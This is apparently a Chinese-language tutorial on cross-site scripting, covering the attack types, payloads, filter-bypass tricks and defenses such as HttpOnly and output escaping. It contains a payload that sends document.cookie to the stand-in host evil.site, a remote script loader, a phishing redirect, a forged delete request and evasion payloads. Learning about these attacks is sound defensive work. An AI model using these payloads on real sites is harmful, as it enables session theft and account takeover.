XSS跨站脚本攻击详解
一、XSS攻击简介
- 跨站脚本攻击的英文全称是Cross-Site Scripting,为了与CSS有所区别,因此缩写为“XSS”
- 由于同源策略的存在,攻击者或者恶意网站的JavaScript代码没有办法直接获取用户在其它网站的信息,但是如果攻击者有办法把恶意的JavaScript代码注入目标网站的页面中执行,他就可以直接访问页面上的信息,或者发送请求与服务端交互,达到跨域访问的目的,这便是XSS攻击。
- XSS攻击本质上是一种注入类型的攻击
- 在正常情况下,Web应用只会执行应用内预定义的JavaScript代码来实现应用自身的功能;
- 如果应用对外部输入参数处理不当,攻击者可将恶意JavaScript代码注入当前Web页面,一旦受害者访问这些页面,攻击者注入的恶意代码就将开始执行。
- 最开始,这种攻击是让目标站点加载另一个恶意站点的脚本,因此称为“跨站脚本”攻击,但是后来这个定义的范围逐渐扩展,凡是可以往目标站点注入脚本的攻击行为都可以称为跨站脚本攻击。
- 当外部恶意代码被注入正常应用的页面后,浏览器无法区分它是应用自身的代码还是外部注入的代码,这些恶意代码拥有与当前页面正常JavaScript脚本一样的权限,例如读/写Cookie、读/写页面内容、发送HTTP请求,因此XSS攻击能实现非常强大的攻击操作,如窃取会话密钥凭证信息、读取网页上的敏感数据、以受害者身份执行恶意操作等。
二、XSS攻击基础类型介绍
2.1 与服务端应用的处理逻辑相关联的XSS攻击
2.1.1 反射型XSS攻击
- 反射型XSS攻击是最常见的一种XSS攻击类型。
- 反射型XSS攻击指的是:服务端应用在收到客户端的请求后,未对请求中的参数做合法性校验或安全过滤,直接将参数用于构造HTML页面并返回给浏览器显示。如果参数中包含恶意脚本,就会以HTML代码的形式被返回给浏览器执行。因此,这一类攻击被称为反射型XSS攻击(Refleced XSS)。举例如下
- 在做查询时,用户需要提交查询关键词,而这个关键词又显示在查询结果页面中,如果服务端应用未对关键词做相应的安全校验和过滤,则可能存在XSS漏洞。
- 最常见的反射型XSS攻击方式是:攻击者将恶意代码包含在URL参数中,但是攻击者需要诱导受害者“点击”这个恶意URL,攻击才能成功。
- 反射型XSS攻击也叫做“非持久型XSS(Non-Persistent XSS)攻击”,因为用于攻击的Payload没有持续存储在服务端应用中,每次实施攻击时都需要让受害者访问带Payload的URL。
2.1.2 存储型XSS攻击
- 在存储型XSS攻击中,服务端应用将攻击者提交的恶意代码存储在服务端,受害者每次访问一个“干净”的URL时,服务端就在响应页面中嵌入之前存储的恶意代码,这些恶意代码将在受害者客户端执行。
- 由于不需要受害者的请求中夹带恶意代码,因此这种XSS攻击更加稳定,危害性也更大。存储型XSS攻击举例如下
- 假设一个博客系统存在存储型XSS漏洞;
- 攻击者撰写一篇包含恶意JavaScript代码的博客文章并发表至博客系统;
- 待包含恶意JavaScript代码的文章发表之后,所有访问了该博客文章的用户,其浏览器都会执行这段恶意的JavaScript代码,攻击者便顺利实施了存储型XSS攻击。
- 存储型XSS攻击通常也叫做“持久型XSS(Persistent XSS)攻击”,因为一旦恶意代码被植入,在服务端清除恶意代码或修复相关功能之前,其攻击效果都是持续存在的。
2.2 与前端处理逻辑相关联的XSS攻击
2.2.1 基于DOM的XSS攻击
- 正常应用中的JavaScript代码可以接受外部的输入数据并直接在客户端渲染执行,如果处理不当,它就有可能将外部数据当作JavaScript代码来执行,因而产生XSS漏洞。
- 基于DOM的XSS攻击定义:客户端的JavaScript脚本在修改和构造当前页面的DOM节点时触发恶意代码执行而非“服务端直接返回恶意代码给客户端执行”,这种攻击方式叫做基于DOM的XSS攻击,下面举例说明
<div id="URL"></div>
<script>
document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回当前显示的文档的URL
</script>
//构造的当前页面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者访问该URL后,由于载入图像失败,因此触发onerror事件,执行URL中指定的JavaScript弹窗代码(弹窗中显示“XSS”)。
- 上述案例与反射型XSS有本质区别
- 再次强调!反射型XSS能成功是因为:服务端对客户端输入的数据处理存在逻辑漏洞;
- 基于DOM的XSS攻击能成功是因为:前端JavaScript代码存在漏洞而非服务端程序的漏洞。如上述案例中,
document.getElementById('URL').innerHTML = decodeURI(location.href);
代码将本文档的URL嵌入到HTML页面中,却并没有考虑URL本身的安全性,这便是一个前端JavaScript代码的漏洞,因而给基于DOM的XSS攻击提供了机会。
2.3 利用社会工程学的XSS攻击
2.3.1 Self-XSS攻击
- Self-XSS严格来说不算是Web应用漏洞,因为攻击者没有办法直接将恶意代码注入页面,而是利用社会工程学欺骗用户,让用户自己去复制恶意代码并粘贴到浏览器中,因此被称为Self-XSS攻击。
三、XSS攻击进阶
3.1 XSS Payload简介
- 我们将攻击者植入的恶意代码称为XSS Payload,本质上,它就是一段JavaScript代码,且由于XSS Payload和应用自身的JavaScript代码在同一个执行环境中,所以正常应用能做的事情都能通过XSS Payload实现。
- 最常见的XSS Payload是通过读取浏览器的Cookie对象从而发起“Cookie劫持”攻击。
- Web应用通常使用Cookie作为用户的身份凭证;
- 如果一个用户的Cookie被攻击者获取,意味着攻击者获取了该用户的身份,即攻击者无需使用账号和密码,直接通过Cookie就可以登陆用户的账户;
- 在之前的实例中,payload是直接写在URL中的,为了实现更为复杂的攻击逻辑,可以将payload放在一个JavaScript文件中,然后通过< script >标签载入,这样就能避免在URL的参数中写入大量的JavaScript代码,示例如下
//构造的URL
'http://localhost:8000/echo.php?name=<script src="http://evil.site/evil.js"></script>'
//evil.js文件
var img = new Image(); //使用new关键字实例化一个Image对象并使用“img”名称指代该实例。
img.src = 'http://evil.site/log?cookie=' + encodeURIComponent(document.cookie);
/*
目标:获取“受害者在当前前端页面中的cookie信息”
1. 受害者访问攻击者构造的URL;
2. 受害者浏览器接收到服务端发回的HTML源码,由于受害者前端页面JavaScript代码存在漏洞(如:将URL作为HTML中内容返回),因此攻击者构造的URL被嵌入受害者前端HTML页面中,又由于攻击者构造的URL中存在JavaScript代码,因此受害者浏览器执行该恶意代码;
3. URL中的<script>标签指定使用的JavaScript代码来自http://evil.site/evil.js;
4. http://evil.site/evil.js文件中,JavaScript代码在受害者前端页面中构造了一个Image实例,同时将获取该图像数据的源指定为恶意站点evil.site;
5. 在受害者的前端页面试图向攻击者指定的恶意站点索要图像数据时,恶意JavaScript代码要求受害者必须携带受害者当前前端页面的cookie信息;
6. 受害者前端执行该恶意JavaScript代码后,恶意站点成功获取受害者在当前前端页面中的cookie信息;
7. 攻击者获取Cookie后,便可以受害者的身份访问目标应用;
*/
3.2 强大的XSS Payload使用
3.2.1 构造GET和POST请求
- 通过JavaScript发送GET请求
- 最简单的办法是创建Image对象,将其src属性指定为目标URL,这样浏览器获取图像时就在当前页面发送了GET请求。
- 通过JavaScript发送POST请求
- 使用JavaScript创建一个表单对象,填充表单中的字段,然后提交表单即可,示例如下
//下面的JavaScript代码作用:通过POST请求方式删除id=123的博客文章
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://blog.example.com/del';
document.body.appendChild(form);
/*
Node.appendChild() 方法将一个节点附加到指定父节点的子节点列表的末尾处。如果将被插入的节点已经存在于当前文档的文档树中,那么 appendChild() 只会将它从原先的位置移动到新的位置(不需要事先移除要移动的节点)。
*/
var li = document.createElement("input"); //<li>列表项元素
li.name = 'id'; //id参数用于指定博客文章的id
li.value = '123';
form.appendChile(li);
form.submit();
3.2.2 XSS钓鱼
- 在一个域名为可信域的URL中嵌入跳转至恶意网站的JavaScript代码。
- 假设example.com为可信域,evil.site为恶意网站,可以构造URL为
http://example.com/echo.php?name=<script>window.location='http://evil.site/';</script>
3.2.3 XSS攻击平台
- BeEF平台:XSS攻击平台
四、XSS蠕虫
(待补充)
五、XSS攻击技巧
5.1 基本的变形
- 部分Web可能做了一定的安全过滤工作,但在很多场景中的安全过滤不够完善,对XSS Payload进行简单的变形就可能绕过防御机制。
- 常见的变形方式
- 更改字母的大小写
- HTML对标签的大小写不敏感,因此< script >或< ScRiPT >都是正确的语法,可用于绕过“仅仅简单过滤掉< script >标签”这类规则。
- 填充空白字符(如空格、制表符、换行),可用于绕过“仅仅简单过滤掉< script >标签”这类规则。
- 有的过滤函数只是将< script >等9字符串删除掉,因此我们可以构造类似
<sc<script>ript>...</scr<script>ipt>
这样的恶意代码来绕过该过滤机制。
- 更改字母的大小写
5.2 事件处理程序
- 很多HTML节点都可以绑定事件处理程序,构造不同的HTML标签并尝试使用不同的事件处理程序,可以绕过一些过滤不严格的安全防御机制。
- 下属攻击能用的前提是后端PHP中没有对字符如“src”、“onfunction”等的过滤机制。
<img src=0 onerror="alert(document.cookie);"> //加载图片失败时触发onerror事件
<object onerror=alert(document.domain)>
<input onfocus=alert(document.domain)>
<video src=0 onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
5.3 JavaScript伪协议
5.3.1 JavaScript伪协议定义
- 伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,而是为关联应用程序而使用的,如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:。
- 我们可以在浏览器地址栏里输入"javascript:alert('JS!');",点击跳转后会发现,实际上浏览器是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
5.3.2 JavaScript伪协议使用
- 浏览器可以接受内联的JavaScript代码作为URL,因此在“需要指定URL”的标签属性中,可以尝试构造一个JavaScript伪协议的URL来执行JavaScript代码,举例如下:
/*
<a>标签定义超链接,用于从一个页面链接到另一张页面。最重要的属性是href属性,它指示链接的目的地。当用户点击<a>标签内的内容时,浏览器会尝试检索并显示href属性指定的URL所表示的文档,或者执行JavaScript表达式、方法和函数的列表。如果href属性不存在,<a>标签将不会被视为超链接。
*/
<a href=javascript:alert(1)>Click me</a>
<iframe src=javascript:alert(2)></iframe> //iframe嵌入目标URL页面
- 一些安全功能可能会过滤掉JavaScript伪协议,因此可以尝试在关键词中插入空白字符绕过检测,举例如下
<a href="java#13script	:alert(document.domain)">Click me</a>
- 还有一种开发人员常犯的错误:在检验URL的合法性时只校验host是否为合法域名,而没有校验协议类型,在这种场景中,也可以绕过校验实现XSS攻击,举例如下:
javascript://example.com/%0d%0aalert(1)
//注意:"%0d","%0a"分别是回车符、换行符的编码
//因此,“//example.com/”被当作JavaScript代码的注释,所以整个代码都是合法且可以正常执行的(可以自己在浏览器地址栏中输入尝试)。
5.4 编码绕过
- 一些不太完善的防御方案,是通过过滤不安全的函数名,或者检测可以的字符串来做攻击检测的。
- 在JavaScript中可以通过动态构造字符串或者使用八进制编码,来绕过静态特征过滤。
5.5 绕过长度限制
- 最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload。
5.6 使用< base >标签
- < base >标签的作用是定义页面上的所有使用“相对路径”标签的host地址,举例如下
<base href="http://www.gogle.com" />
<img src="/init//en_All/images/logolw.png" />
//这个<base>标签将指定其后的标签默认从"http://www.gogle.com"取host域名
//如果攻击者在页面中插入了<base>标签并指定域名为恶意站点,就可以在远程服务器上伪造数据,劫持当前页面中所有使用“相对路径”的标签。
5.7 window.name的妙用
- 如果在当前页面中将较长的Payload写在window.name属性中,然后跳转到下一个页面,将这个Payload读取出来执行,就可以实现Payload的跨域传递。
六、JavaScript框架
- JavaScript开发框架可以快速简洁地完成前端开发,但如果开发者使用不当,也可能产生XSS漏洞。一般来说,JavaScript框架产生的XSS漏洞都是DOM类型的。
七、XSS攻击的防御
7.1 HttpOnly
- HttpOnly作用:让该cookie只能用于HTTP/HTTPS传输,使得客户端JavaScript脚本无法读取cookie,这在一定程度上减少了XSS漏洞带来的危害。
- PHP在配置文件中开启会话Cookie的HttpOnly属性:
session.cookie_httponly=On
- 虽然使用HttpOnly能在一定程度上防止会话劫持,但在XSS攻击中,恶意脚本同样可以在不知道用户Cookie的情况下完成窃取用户信息或模拟用户发送HTTP请求,因此防御XSS攻击不能仅靠HttpOnly属性,仍需要更加成熟的解决XSS漏洞的方案。
7.2 输入过滤
7.3 输出转义
- 既然参数在输入时做全局过滤和转义存在各种问题,那么就应该在输出变量时根据不同场景有针对性地编码或转义。
7.3.1 HTML转义
- 最常见的变量输出场景是该变量用于构造HTML页面,这里有两种情况:一种是变量作为HTML标签的属性值;另一种是变量作为标签的内容。
<input name="name" value="$value"> //变量作为属性值
/*
当变量作为属性值时,双引号必须转义,否则变量里含有双引号会将属性提前闭合。另外,单引号也要转义,因为属性值用单引号包围也是合法的。
*/
<p>$value</p> //变量作为标签内容
/*
当变量作为标签内容时,必须让变量以文本形式显示,而不能引入其他HTML标签。
因此,通过对输入的“>”、“<”字符转义,这样就不会产生新标签了。
*/
- 因为HTML转义是将字符转换成“&xx”的形式,如双引号转义成“";”。如果变量的原始内容就包含了“";”这六个字符,那么输出到HTML页面上时,这六个字符将被反转义并显示成双引号,内容发生了变化,从而产生漏洞。为了避免上述产生的问题,因此“&”字符也需要转义处理。
八、关于XSS Filter
- 不久的将来,这项技术很可能会消失。
九、XSS攻击练习
- 请见文章XSS-Labs闯关